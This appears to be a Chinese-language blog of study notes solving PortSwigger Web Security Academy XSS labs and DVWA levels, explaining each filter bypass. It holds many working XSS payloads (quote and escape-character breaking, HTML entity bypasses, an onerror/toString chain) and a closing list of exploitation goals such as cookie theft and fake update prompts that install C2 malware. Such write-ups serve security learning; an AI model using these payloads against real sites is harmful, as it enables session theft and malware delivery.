Opera 12 Shift + Esc opens a contents list which are accessible by accesskey, then, can choose an item by pressing key

要注意 Firefox 可以通过用户偏好,自定义所需的修饰键。

设置 <link> rel 属性值 canonical 的含义是在多个重复页面,给搜索引擎爬虫建议去索引指定的页面,但实际索引否,搜索引擎还得综合因素决定。

例如现在有 3 个页面:

它们内容都相同,搜索引擎会把它们当作 3 个不同页面,但只会选择一个进行索引,可以用 canonical 指定当前是权威页面,href 给出链接:

<link rel="canonical" href="https://example.com/news" />

参考资料:

https://developer.mozilla.org/zh-CN/docs/Web/HTML/Link_types

https://developers.google.com/search/docs/advanced/crawling/consolidate-duplicate-urls

https://ahrefs.com/blog/zh/canonical-tags/

本 lab 还是关注输入的参数反应在上下文,没想到是个 link 标签,还需耐心、细心做观察。

Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped

题意:搜索功能有反射型 XSS,转义单引号。请执行 alert() 完成 lab。

当你访问 https://lab-id.web-security-academy.net/?search=55 会动态在 JavaScript 变量里写入对应值——这里上下文是在 JS 里:

<script>
    var searchTerms = '55';
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>

最简单的想法就是闭合单引号我新增一个表达式,但实际情况单引号会被转义:

var searchTerms = '55\'\'';

就尝试了 ;" 这俩字符不会禁止,想破脑袋也没找到咋绕过去。最后看了官方 Payload 没想到如此简单:

</script><script>alert(1)</script>

思考局限就在于没实际分析有哪几种可能去绕过限制,只考虑到绕过单引号......没想到闭合标签也行。

所以一个比较全面的方式是,确定有字符限制,最好遍历下所有特殊字符筛出哪些让用,再从这些字符里看能不能绕过。

访问 https://lab-id.web-security-academy.net/?search=55</script><script>123123;</script> 后端把 search 的值写入变量,即使 document.write 不写 DOM 依旧会闭合前面 script 标签:

<script>
    var searchTerms = '55</script><script>123123;</script>';
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>

最终浏览器将分为两个 script 标签 和其他字符:

<script>
    var searchTerms = '55</script>
<script>123123;</script>
';
document.write('
<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">
');

Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded

题意:搜索功能有反射型 XSS,转义尖括号。请执行 alert() 完成 lab。

手动发现确实尖括号转成 URL 编码:

<script>
    var searchTerms = '123213&lt;&gt;';
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>

这次放聪明了,直接先遍历一波字符 special-chars.txt,为了方便查找结果给加上数字前缀:

123213~
123213!
123213@
123213#
123213$
123213%
123213^
123213&
123213*
123213(
123213)
123213-
123213_
123213+
123213=
123213{
123213}
123213]
123213[
123213|
123213\
123213`
123213,
123213.
123213/
123213?
123213;
123213:
123213'
123213"
123213<
123213>

intruder grep XSS Payload 字符.png

跑完后设置下搜索 Response Payload 检查有没返回。

intruder grep XSS Payload 字符2.png

这里设置时要注意在处理 Payload 开启了 Payload Encdoing,启动时会自动把部分 URL 编码,那 Grep - Payloads 时就要开启 Match against pre-URL-encoded payloads,不然找的是 URL 编码的 Payload。因为应用程序通常会把参数中的 URL 编码自动解码,返回肯定是明文而不是编码的字符。

可以发现新增 P grep 列,数字显示匹配到几次 Payload。这里只发现除了尖括号都能使用。

intruder grep XSS Payload 字符-查看结果.png

根据前一题的教训,可以构造出如下 Payload 闭合字符串:

https://lab-id.web-security-academy.net/?search=123123';alert(1)//

此时已经拼接成:

var searchTerms = '123123';alert(1)//';

而官方 Payload 是字符串做减法运算来执行警告框:

https://lab-id.web-security-academy.net/?search=123123'-alert(1)-'

对应 HTML:

var searchTerms = '123123'-alert(1)-'';

Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

题意:搜索功能有反射型 XSS,尖括号、双引号 HTML 编码,单引号转义。请执行 alert() 完成 lab。

依旧遍历一波,发现除了 <>'" 其他字符都可以用。

官方 Payload 是利用转义符 \ 来逃脱原有单引号。

访问 https://lab-id.web-security-academy.net/?search=123213\' 注入成功:

var searchTerms = '123213\\'';

原本转义单引号的 \' 转义符被我们主动转义 \\',因此字符串原本单引号逃脱。

构建 Payload https://ac571fa41f5ca4fec0e00f45007c009a.web-security-academy.net/?search=123213\';alert(1)//,成功弹出警告框:

var searchTerms = '123213\\';alert(1)//';

这个 lab 学到使用转义符 breaking 现有字符串引号或者是转义符本身。

Lab: Reflected XSS in a JavaScript URL with some characters blocked

题意:已经使用黑名单拉黑部分字符。请执行 alert() 弹出字符串 1337 完成 lab。

访问文章页面时,底部有个 Back to Blog 按钮:

<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d4'}).finally(_ => window.location = '/')">Back to Blog</a>

你给页面添加参数也会反应到 href value 中。访问 https://lab-id.web-security-academy.net/post?postId=4&test=az

<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d4%26test%3daz%27//'}).finally(_ => window.location = '/')">Back to Blog</a>

可以使用双引号闭合 href 属性值,使用事件触发,随构造 Payload:

https://ac761f561ef690fac0dfff3d00a10008.web-security-academy.net/post?postId=4&test"id='raingray'onfocus="alert(1337)"autofocus+a="

那成想不能使用等号,只能遍历一波可用字符:

123213~
123213!
123213$
123213^
123213*
123213-
123213_
123213{
123213}
123213|
123213,
123213.
123213/
123213"

看了符号结果陷入困境,暂无思路,看了官方解决的 Payload 如下:

'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'

构造 URL:

https://lab-id.web-security-academy.net/post?postId=3&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'

链接最终拼接成:

fetch(
    '/analytics',
    {
        method:'post',
        body:'/post?postId=4&'
    },
    x=x=>{
        throw/**/onerror=alert,1337
    },
    toString=x,window+'',
    {
        x:''
    }
)    
.finally(_ => window.location = '/')

整体 Payload 逻辑分为四部分:

0.闭合前面字符

'} 闭合前面花括号,形成如下完成对象:

{method:'post',body:'/post?postId=1&'}

1.定义 x 匿名函数

x = x => {
    throw/**/onerror=alert,1337
}

只是定义了个全局变量 x,值是箭头函数,由于不能用括号所以随便定义个参数名占位,函数体 throw 抛自定义异常,由于没法输入空格使用 /**/ 代替,throw 表达式有条语句 onerror=alert,1337,表达式一将 alert 方法赋给 window.onerror 错误处理方法,表达式二是数字 1337 什么都不做直接返回。x 函数执行后整条语句计算完返回 1337,throw 最终会抛出 1337 异常。

异常发生时没有 try-catch 就会触发 window.onerror() 方法,并把异常抛出的参数传进去。从 x 函数来看会抛出的 1337 就是异常参数,最终 onerror 指向 alert 方法,所以是 alert 会接收到 1337 参数并弹出警告框。

2.执行x 函数触发异常

toString=x, window + ''

将 x 函数赋值为 window.toString 方法,window + '' 做字符串拼接默认运行 toString,以此完成整个攻击链条。

3.闭合尾部字符

,{x:' 就是用于闭合后面 '},最终形成对象,x 即属性,值是''

{
    x: ''
}

这个 x 也是随便取,必要符合 JavaScript 创建对象的语法。

本次 lab 学到通过覆盖 window.onerror 主动触发异常来将参数执行。

Lab: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

题意:留言功能有存储 XSS,请点击留言人姓名执行 alert() 完成 lab。

可以观察到,输入的 URL 被写入 onclick 里:

<a id="author" href="https://baidu.com" onclick="var tracker={track(){}};tracker.track('https://baidu.com');">username</a>

第一想法仍是闭合 onclick 里的语句 ');alert('1,结果单引号被转义:

<a id="author" href="https://baidu.com\');alert(\'1" onclick="var tracker={track(){}};tracker.track('https://baidu.com\');alert(\'1');">username</a>

双引号闭合 href 属性 "a="123123 也不行,被转成 HTML 实体:

<a id="author" href="https://baidu.com&quot; a=&quot;123123>" onclick="var tracker={track(){}};tracker.track('https://baidu.com&quot; a=&quot;123123>');">username</a>

那用前面学到的,如果拉黑转义符,试试能不能把应用给单引号添加的转义符转义掉 \');alert(\'1,依旧失败:

<a id="author" href="https://baidu.com\\\');alert(\\\'1" onclick="var tracker={track(){}};tracker.track('https://baidu.com\\\');alert(\\\'1');">username</a>

使用 Named character references 表示单引号为 &apos;,可绕过后端对传递过来的单引号检查,而名称字符引用浏览器看到后会自动解码。

即构建 Payload &apos;);alert(&apos;1,在请求发送时注意把 & URL 编码,防止与 POST 参数分隔符冲突:

<a id="author" href="https://baidu.com&apos;);alert(&apos;1" onclick="var tracker={track(){}};tracker.track('https://baidu.com&apos;);alert(&apos;1');">

最终服务器没对 & 做转义,直接把 &apos; 原封不动存到数据库并输出。

而浏览器把实体字符解码成单引号:

<a id="author" href="https://baidu.com');alert('1" onclick="var tracker={track(){}};tracker.track('https://baidu.com');alert('1');">admin</a>

也可以尝试根据十进制和十六进制的数字引用来表示 &#x0027;&#39;,所以下面 Payload 也可以绕过单引号:

&#x0027;);alert(&#x0027;1
&#39;);alert(&#39;1

这个 lab 意义在于,下次遇到特殊符号限制可以尝试 HTML 字符引用绕过(HTML 编码),只要不是把 & 给编码或者转义了就能 ByPass。

Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

题意:搜索框有反射性 XSS,请执行 alert() 方法完成实验。

搜索后字符反应在 JavaScript 里:

var message = `0 search results for 'raingray'`;
document.getElementById('searchMessage').innerText = message;

你输入其他字符无法闭合,统统转成 Unicode。

message 值使用反撇号定义模板字符串,只要使用 ${expression} 就可以执行对应表达式,随即构建 Payload ${alert(1)}

var message = `0 search results for '${alert(1)}'`;
document.getElementById('searchMessage').innerText = message;

此 lab 考点是 ES6 新增模板字符串也可执行语句。

Lab: DOM XSS in document.write sink using source location.search

题意:DOM 型 XSS,通过获取 local.search 参数将它写入当前 DOM。执行 alert() 方法完成实验。

打开应用后就在搜索结果页面看到一段 JS:

function trackSearch(query) {
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
    trackSearch(query);
}

首先定义了 tackSearch(query) 方法使用 document.write() 把 query 形参写入到当前页面 DOM。接着又用 (new URLSearchParams(window.location.search)).get('search'); 获取到当前页面的参数值,最后就调用方法完成功能。

问题点就在与 trackSearch 方法没有做任何特殊字符编码,直接把搜索的字符写入到当前 DOM。

DOM.jpg

Payload:

"onload="alert(1)

最终标签输出为。

<img src="/resources/images/tracker.gif?searchTerms=" onload="alert(1)">

Lab: DOM XSS in document.write sink using source location.search inside a select element

打开应用进入商品详情页发现 JS。

var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
    document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
    if(stores[i] === store) {
        continue;
    }
    document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');

简单来看就是 store 变量活取到了 storeId 参数值,如果存在就直接写 <option selected></option> 入到当前 DOM

默认进入商业详情页只有个 productId。

https://HOST.web-security-academy.net/product?productId=18

构造链接为即可完成实验。

https://HOST.web-security-academy.net/product?productId=18&storeId=<script>alert(1)</script>

Lab: DOM XSS in innerHTML sink using source location.search

打开实验点击搜索后页面加载了 JS。

function doSearchQuery(query) {
    document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
    doSearchQuery(query);
}

将获取到的 search 参数值作为内容写入 id 为 searchMessage HTML 标签。

<span id="searchMessage"></span>

构造 Payload。

https://HOST.web-security-academy.net/?search=<img src="1" onerror="alert(1)">

如果是插入 <script>alert(1)</script>,则不会执行:

Note: script elements inserted using innerHTML do not execute when they are inserted.

参考:

Lab: DOM XSS in jQuery anchor href attribute sink using location.search source

题意:Submit feedback 页面使用 alert() 弹出 document.cookie。

点进 Submit feedback 页面 URL returnPath 参数值:

https://HOST.web-security-academy.net/feedback?returnPath=/feedback

在当前页面 < Back 作为链接:

<a id="backLink" href="/feedback">Back</a>

其中 scipt 使用 Jquery 设置此链接:

$(function() {
    $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});

插入 Payload:

https://HOST.web-security-academy.net/feedback?returnPath="></a><script>alert(1)</script><a href="

结果所有都双引号被转义,不能闭合属性:

<a id="backLink" href="&quot;></a><script>alert(1)</script><a href=&quot;">Back</a>

只能采用伪协议执行代码:

https://HOST.web-security-academy.net/feedback?returnPath=javascript:alert(document.cookie)

当点击此链接时自动触发。

Lab: DOM XSS in jQuery selector sink using a hashchange event

题意:JQuery 使用 $() 获取元素滚动到指定帖子。

打开应用页面存在 JavaScript 代码:

$(window).on('hashchange', function(){
    var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
    if (post) post.get(0).scrollIntoView();
});

上面 on方法代码两个参数:

  1. 监听 window 对象 hashchange 事件。

    这个 hashchange 事件在页面 hash,也就是 # 发生改变时触发。比如页面当前 URL 是:

     https://example.com/#Interviews

    那么用 location.hash 可以读取到 hash 值是 Interviews。

  2. 匿名函数

    window.location.hash.slice(1) 是获取 hash 字符串,默认获取的 hash 带有井号,为了直接越过索引为 0 的井号,选择从索引 1 开始获取字符。decodeURIComponent() 就是 URL Decode。

    section.blog-list h2:contains() 选择器是获取带有 blog-list 类的 section 标签下所有 h2 标签标题为指定字符的元素。

    if (post) post.get(0).scrollIntoView();,其中 post.get(0) 是获取数组索引为 0 的 h2 标签,并调用 scrollIntoView() 滚动到此元素上。

    它代码本身还有逻辑问题,要是获取不到元素去做滚动会报错的,if 条件应该改为 if (post.length)

官方 Payload 是:

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

整体触发步骤是:

  1. 打开页面加载 iframe,则 onload 事件触发。
  2. this.src 为当前 url 再添加上 img 标签加载失败即可触发 onerror 事件执行 print 方法。

也看不懂为什么非要这样写,经过测试 #<img src=x onerror=print()> 也可以触发。

$('raingray:contains(<img src=# onload=alert(1)>)')[0];,contains() 方法获取不到 h2 标签指定内容时,就以指定内容标签为准。比如执行这行代码就会返回 img 标签。

并没有深入 JQuery 源码探究到底,通过 $.fn.jquery 只晓得引用 jQuery 版本为 1.8.2,确定 JQuery 1.9 版本已经不存在此问题。

Lab: Reflected DOM XSS

题意:Reflected DOM XSS,意思是你输入的数据会反射回来,然后被 JS 给执行了,此时造成的 DOM 型 XSS。

搜索功能请求。

GET /search-results?search=I+remember HTTP/1.1
Host: ac261f111ef9c216c0425f2700cb00de.web-security-academy.net
Cookie: session=Wtb2ih5jB2HjEqvhjveWRIyFwHFHST7K
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Dnt: 1
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://ac261f111ef9c216c0425f2700cb00de.web-security-academy.net/?search=testaz
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

响应。

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 337

{
    "results": [
        {
            "id": 2,
            "title": "Lies, Lies & More Lies",
            "image": "blog/posts/13.jpg",
            "summary": "I remember the first time I told a lie. That's not to say I didn't do it before then, I just don't remember. I was nine years old and at my third school already. Fitting into already established friendship groups..."
        }
    ],
    "searchTerm": "I remember"
}

如何发起请求处理响应数据,在 searchResults.js 定义。

function search(path) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
    };
    xhr.open("GET", path + window.location.search);
    xhr.send();

    function displaySearchResults(searchResultsObj) {
        var blogHeader = document.getElementsByClassName("blog-header")[0];
        var blogList = document.getElementsByClassName("blog-list")[0];
        var searchTerm = searchResultsObj.searchTerm
        var searchResults = searchResultsObj.results

        var h1 = document.createElement("h1");
        h1.innerText = searchResults.length + " search results for '" + searchTerm + "'";
        blogHeader.appendChild(h1);
        var hr = document.createElement("hr");
        blogHeader.appendChild(hr)

        for (var i = 0; i < searchResults.length; ++i)
        {
            var searchResult = searchResults[i];
            if (searchResult.id) {
                var blogLink = document.createElement("a");
                blogLink.setAttribute("href", "/post?postId=" + searchResult.id);

                if (searchResult.headerImage) {
                    var headerImage = document.createElement("img");
                    headerImage.setAttribute("src", "/image/" + searchResult.headerImage);
                    blogLink.appendChild(headerImage);
                }

                blogList.appendChild(blogLink);
            }

            blogList.innerHTML += "<br/>";

            if (searchResult.title) {
                var title = document.createElement("h2");
                title.innerText = searchResult.title;
                blogList.appendChild(title);
            }

            if (searchResult.summary) {
                var summary = document.createElement("p");
                summary.innerText = searchResult.summary;
                blogList.appendChild(summary);
            }

            if (searchResult.id) {
                var viewPostButton = document.createElement("a");
                viewPostButton.setAttribute("class", "button is-small");
                viewPostButton.setAttribute("href", "/post?postId=" + searchResult.id);
                viewPostButton.innerText = "View post";
            }
        }

        var linkback = document.createElement("div");
        linkback.setAttribute("class", "is-linkback");
        var backToBlog = document.createElement("a");
        backToBlog.setAttribute("href", "/");
        backToBlog.innerText = "Back to Blog";
        linkback.appendChild(backToBlog);
        blogList.appendChild(linkback);
    }
}

关注点:

  • search 方法 eval('var searchResultsObj = ' + this.responseText);,将返回的 JSON 用 eval 执行。
  • displaySearchResults 方法 h1.innerText = searchResults.length + " search results for '" + searchTerm + "'";,将 searchTerm 内容 innerText 写入 value。

innerText

输入 </h1> 结果尖括号被编码 </h1>,不能闭合,& 符号页被转成实体字符 &

eval 执行

alert(1)\"},{'':"",结果返回 {"results":[],"searchTerm":"alert(1)\\"},{'':\""}

始终没法闭合后面的双引号。最终还是看了答案,可以使用注释符 // 闭合掉后面双引号。

构建 Payload。

\"};alert(1)//

引号被注释,alert 表达式成功独立,最终被 eval 执行。

{"results":[],"searchTerm":"\\"};alert(1)//"}

其实这道题跟 Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped 解法类似。都是注释加逃脱转义符。

回顾官方 Payload。

\"-alert(1)}//

响应内容。

{"searchTerm":"\\"-alert(1)}//", "results":[]}

Lab: Stored DOM XSS

题意:评论区有 DOM XSS 执行 alert() 完成任务。

loadCommentsWithVulnerableEscapeHtml.js 负责把服务端响应的评论写入页面。

function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(html) {
        return html.replace('<', '&lt;').replace('>', '&gt;');
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let avatarImgElement = document.createElement("img");
            avatarImgElement.setAttribute("class", "avatar");
            avatarImgElement.setAttribute("src", comment.avatar ? escapeHTML(comment.avatar) : "/resources/images/avatarDefault.svg");

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(avatarImgElement);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = escapeHTML(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};

思路是先确认后端没有过滤,再确认前端过滤。

留言后发现后端将正斜杠转义。

{
    "avatar":"",
    "website":"https://<h1>评论人站点<\/h1>",
    "date":"2022-04-13T03:20:40.962442270Z",
    "body":"<h1>评论内容<\/h1>",
    "author":"<h1>评论人名称<\/h1>"
}

前端则转义留言、作者、头像三个参数:

  • escapeHTML(comment.avatar),留言时没此参数名,尝试用返回的名称 avatar 也不行,可能是靶场没开发完成。
  • escapeHTML(comment.author),过滤作者。
  • escapeHTML(comment.body),过滤留言。

过滤采用 replace() 转义尖括号为实体引用字符。

replace('<', '&lt;').replace('>', '&gt;');

replace() 只会替换首次遇到的字符,而不是所有字符。

"<><h1>cei</h1>".replace('<', '&lt;').replace('>', '&gt;');

最终只有第一个尖括号被替换。

'&lt;&gt;<h1>cei</h1>'

只要先给它两个尖括号转义完,后续 Payload 就不会被转义。输入 <><script>alert(1)//<\/script> 浏览器构建 DOM 自己补充上了</script> 但没有被执行怪得很。

&lt;&gt;<script>alert(1)//<\\/script></script>

首先排除了 p 标签确实能包含 script 执行语句的。猜测是转义符 <\/script> 导致无法执行。

实在不得已使用事件完成 Lab。

<><img src='' onerror='alert(1)'>

Lab: Reflected XSS protected by very strict CSP, with dangling markup attack(未完成)

学习资料:
https://portswigger.net/web-security/cross-site-scripting/content-security-policy
https://portswigger.net/web-security/cross-site-scripting/dangling-markup

Lab 链接:https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-very-strict-csp-with-dangling-markup-attack

Lab: Reflected XSS protected by CSP, with CSP bypass(未完成)

https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-very-strict-csp-with-dangling-markup-attack

Lab 链接:https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-csp-bypass

DVWA

Reflected

Low 等级它接受参数就直接输出没有任何过滤,<scirpt>alert(1)</scirpt> 可以生效。

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    $html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

Medium 等级 str_replace 只会过滤 script 标签可以用 <script<script>>alert(1)</script>,这样会将完整的 script 标签替换掉,这个方法只会替换一次。另外可以用大小写方式进行绕过 <sciTpt>alert(1)</scIrpt>

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    $html .= "<pre>Hello ${name}</pre>";
}

?>

High 等级用正则进行匹配,采用各种标签内事件来触发 XSS <img src="http://localhost/dvwa/dvwa/images/logo.png" onload="alert(1)">

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    $html .= "<pre>Hello ${name}</pre>";
}

?>

Impossible 等级,源码中用 htmlspecialchars() 转义 &、"、'、<、> 字符无法绕过。

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    $html .= "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

XSS game

http://www.xssgame.com
https://xss-game.appspot.com

XSS-GAME google官方答案

xss-demo

https://github.com/haozi/xss-demo

XSS 挑战 1

访问 http://test.xss.tvhttp://test.ctf8.com/
源码:https://github.com/sqlsec/xssgame

XSS 挑战 2

https://xss.haozi.me

CTFHub

ctfhub反射型

一打开题目就有个 ?name=CTFHub 参数,直接作为 H1 值输出在页面上,经过测试有反射 XSS。但 Flag 不知道哪里获取,查了 WriteUp 才发现要将此链接通过 Send URL to Bot 输入框发送给后台,让这个机器人自动触发。通过 XSS 平台接收到了请求,在 Cookie 处存在 Flag。

总结

XSS 挖掘步骤:

  1. 关注自定义标识符上下文

    你输入的字符常常出现位置在哪?属性值、标签内容、JavaScript 某个变量值,不要只关注服务器返回的请求响应内容,也要用开发者工具看 JavaScript 动态写入的 DOM(如果是 DOM XSS 输入了某些参数,可以看 Console 有无报错信息)。

  2. 确认有无过滤

    无过滤,直接插 script 标签引入外部脚本

    有过滤,判断是拦截某个字符还是全部拦截,确认黑白名单。尝试编码等绕过方式。

  3. 利用

    XSS 发送请求造成 CSRF。

    XSS 获取浏览器信息,如 LocalStorage 存储的加密账户、Coookie、Window 对象里的缓存等等。

    XSS 创建 DOM 点击劫持。

    XSS 创建 DOM 插入广告。

    XSS 弹窗提示更新应用下载可执行程序上线 C2。

参考链接

最近更新:

发布时间:

摆哈儿龙门阵